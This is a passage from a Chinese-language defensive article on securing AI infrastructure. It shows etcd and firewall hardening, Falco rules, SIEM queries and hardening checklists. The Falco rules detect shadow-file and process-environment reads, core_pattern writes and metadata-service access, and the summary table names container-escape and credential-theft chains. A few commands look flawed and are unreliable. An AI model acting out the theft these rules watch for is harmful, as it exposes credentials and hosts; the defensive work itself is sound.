    - --client-cert-auth=true          # 关键: 强制客户端证书认证
    - --peer-client-cert-auth=true     # 强制 peer 证书认证
    - --listen-client-urls=https://127.0.0.1:2379  # 仅本地监听
    - --advertise-client-urls=https://127.0.0.1:2379
    volumeMounts:
    - name: etcd-certs
      mountPath: /etc/kubernetes/pki/etcd
      readOnly: true
  volumes:
  - name: etcd-certs
    hostPath:
      path: /etc/kubernetes/pki/etcd
      type: Directory
EOF

# 2. 防火墙规则: 阻断 2379 端口的外部访问
iptables -A INPUT -p tcp --dport 2379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP

# 3. 定期审计 etcd 访问
# 启用 etcd 审计日志
echo '--log-package-levels=etcdserver=debug' >> /etc/kubernetes/manifests/etcd.yaml

6. 运行时检测体系

6.1 Falco 规则集

# falco-ai-infra-rules.yaml
# AI 基础设施专用 Falco 检测规则

# 规则 1: 容器内 shell 执行
- rule: Shell Spawned in Container
  desc: 检测容器内启动 shell 进程
  condition: >
    spawned_process and container and
    shell_procs and not shell_in_allowlist
  output: >
    Shell spawned in container
    (user=%user.name container=%container.name
     image=%container.image.repository
     cmd=%proc.cmdline pid=%proc.pid
     namespace=%k8s.ns.name)
  priority: WARNING
  tags: [container, shell, mitre_execution]

# 规则 2: 容器访问宿主机敏感文件
- rule: Container Reading Host Sensitive File
  desc: 检测容器读取宿主机敏感文件(逃逸信号)
  condition: >
    open_read and container and
    (fd.name in (/host/etc/shadow, /host/proc/1/environ,
                 /proc/sys/kernel/core_pattern,
                 /proc/sysrq-trigger) or
     fd.name startswith /host/var/lib/kubelet/)
  output: >
    Container reading host sensitive file
    (user=%user.name container=%container.name
     file=%fd.name proc=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape, filesystem]

# 规则 3: 向 /proc/sys 写入(core_pattern 攻击)
- rule: Write to Proc Sys
  desc: 检测向 /proc/sys 写入(runc 逃逸利用)
  condition: >
    open_write and container and
    fd.name startswith /proc/sys/
  output: >
    Write to /proc/sys from container
    (user=%user.name container=%container.name
     file=%fd.name proc=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape, privilege_escalation]

# 规则 4: 检测 IMDS 访问
- rule: Container Accessing Cloud Metadata Service
  desc: 检测容器访问云元数据服务
  condition: >
    outbound and container and
    (fd.sip="169.254.169.254" or
     fd.sip="metadata.google.internal" or
     fd.sport in (80, 443))
  output: >
    Container accessing cloud metadata service
    (container=%container.name image=%container.image.repository
     dest=%fd.sip:%fd.sport proc=%proc.cmdline)
  priority: CRITICAL
  tags: [cloud, imds, credential_access]

# 规则 5: 特权容器创建
- rule: Create Privileged Pod
  desc: 检测创建特权 Pod 的请求
  condition: >
    ka.req.pod.spec.containers.privileged intersect (true)
  output: >
    Privileged pod created
    (user=%ka.user.name pod=%ka.req.pod.name
     ns=%ka.req.pod.ns containers=%ka.req.pod.spec.containers.name)
  priority: WARNING
  tags: [k8s, privilege_escalation]

# 规则 6: 读取 K8s Secrets
- rule: Read Kubernetes Secrets
  desc: 检测大量读取 Secrets 的行为
  condition: >
    ka.verb=get and ka.resource=secrets and
    ka.req.count > 5
  output: >
    Bulk secret reads detected
    (user=%ka.user.name ns=%ka.req.ns
     count=%ka.req.count)
  priority: WARNING
  tags: [k8s, credential_access]

6.2 K8s Audit Log 告警规则

"""
K8s Audit Log SIEM 告警规则
使用 Elasticsearch / Splunk / Loki 查询
"""

# Elastic KQL 查询: 危险 RBAC 变更
dangerous_rbac_query = """
kubernetes.audit.verb: ("create" or "update" or "patch") and
kubernetes.audit.resource: ("clusterrolebindings" or "clusterroles" or 
                            "rolebindings" or "roles") and
NOT kubernetes.audit.user.username: ("system:kube-controller-manager" or
                                      "system:kube-scheduler")
"""

# Splunk SPL: 特权 Pod 创建
splunk_priv_pod_query = """
index=k8s_audit verb=create resource=pods
| search spec.containers{}.securityContext.privileged=true
| stats count by user.username, objectRef.namespace, objectRef.name
| sort -count
"""

# 检测 ServiceAccount Token 异常使用
sa_token_abuse_query = """
index=k8s_audit
(verb=get AND resource=secrets AND resourceName="*token*")
OR
(verb=create AND resource=pods AND 
 requestObject.spec.serviceAccountName!="default" AND
 requestObject.spec.hostPID=true)
| stats count by user.username, sourceIPs{}, verb, resource
| where count > 10
"""

# AWS CloudTrail: IMDS 凭证滥用
cloudtrail_imds_query = """
index=cloudtrail
(eventSource=ec2.amazonaws.com AND eventName=GetInstanceIdentityDocument)
OR
(eventSource=sts.amazonaws.com AND eventName=AssumeRoleWithWebIdentity AND
 userIdentity.sessionContext.sessionIssuer.arn="*AIInferenceRole*")
| stats count by sourceIPAddress, userIdentity.arn
| sort -count
"""

7. AI 基础设施安全加固清单

7.1 云层加固

措施 优先级 实施方法
强制 IMDSv2 P0 aws ec2 modify-instance-metadata-options --http-tokens required
最小权限 IAM P0 禁止 *:* 通配符,使用 IAM Access Analyzer
隔离元数据访问 P0 NetworkPolicy 阻断 Pod → 169.254.169.254
启用 CloudTrail P1 全区域日志记录,集成 SIEM
VPC Flow Logs P1 检测异常网络流量
Secrets Manager P1 使用 External Secrets Operator + Vault

7.2 容器层加固

措施 优先级 实施方法
升级 runc ≥ 1.2.8 P0 修复 CVE-2025-31133 系列
升级 NVIDIA Toolkit ≥ 1.17.8 P0 修复 CVE-2025-23266
Pod Security Admission P0 namespace 标注 enforce: restricted
禁用特权容器 P0 privileged: false + allowPrivilegeEscalation: false
只读根文件系统 P1 readOnlyRootFilesystem: true
Seccomp Profile P1 seccompProfile: RuntimeDefault
镜像签名验证 P1 Cosign + Kyverno 策略
禁用 latest 标签 P1 使用 digest 固定

7.3 K8s 层加固

措施 优先级 实施方法
升级 Ingress-NGINX P0 修复 CVE-2025-1974
etcd TLS 认证 P0 --client-cert-auth=true
RBAC 最小权限 P0 禁止通配符权限,禁止 SA 绑定 cluster-admin
关闭 SA Token 自动挂载 P1 automountServiceAccountToken: false
默认拒绝网络策略 P1 default-deny-all
启用审计日志 P1 --audit-log-path + SIEM 集成
部署 Falco P1 运行时入侵检测
定期 RBAC 审计 P2 kubectl auth can-i --list 全量扫描

8. 总结

攻击面 核心威胁 关键防御
云 IMDS SSRF → 凭证窃取 → 云接管 IMDSv2 + NetworkPolicy
runc 符号链接 + masked path 逃逸 升级 ≥ 1.2.8 + PSA restricted
NVIDIA Toolkit LD_PRELOAD → 主机 root 升级 ≥ 1.17.8 + seccomp
Ingress-NGINX AdmissionReview 注入 RCE 升级 + 限制 webhook 访问
etcd 未认证读取集群全部数据 TLS + client-cert-auth
K8s RBAC SA Token → Workload Identity → 云 IAM 最小权限 + 关闭自动挂载

核心原则:AI 基础设施安全 = 云安全 + 容器安全 + K8s 安全 + AI 模型安全的纵深防御体系。任何单层防御被突破都可能导致模型权重泄露、训练数据外泄或整个云账户被接管。


免责声明重申:本文所有漏洞分析、PoC 代码和攻击链复现均基于公开披露的安全研究资料和 CVE 官方公告。所有代码仅用于理解攻击原理以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。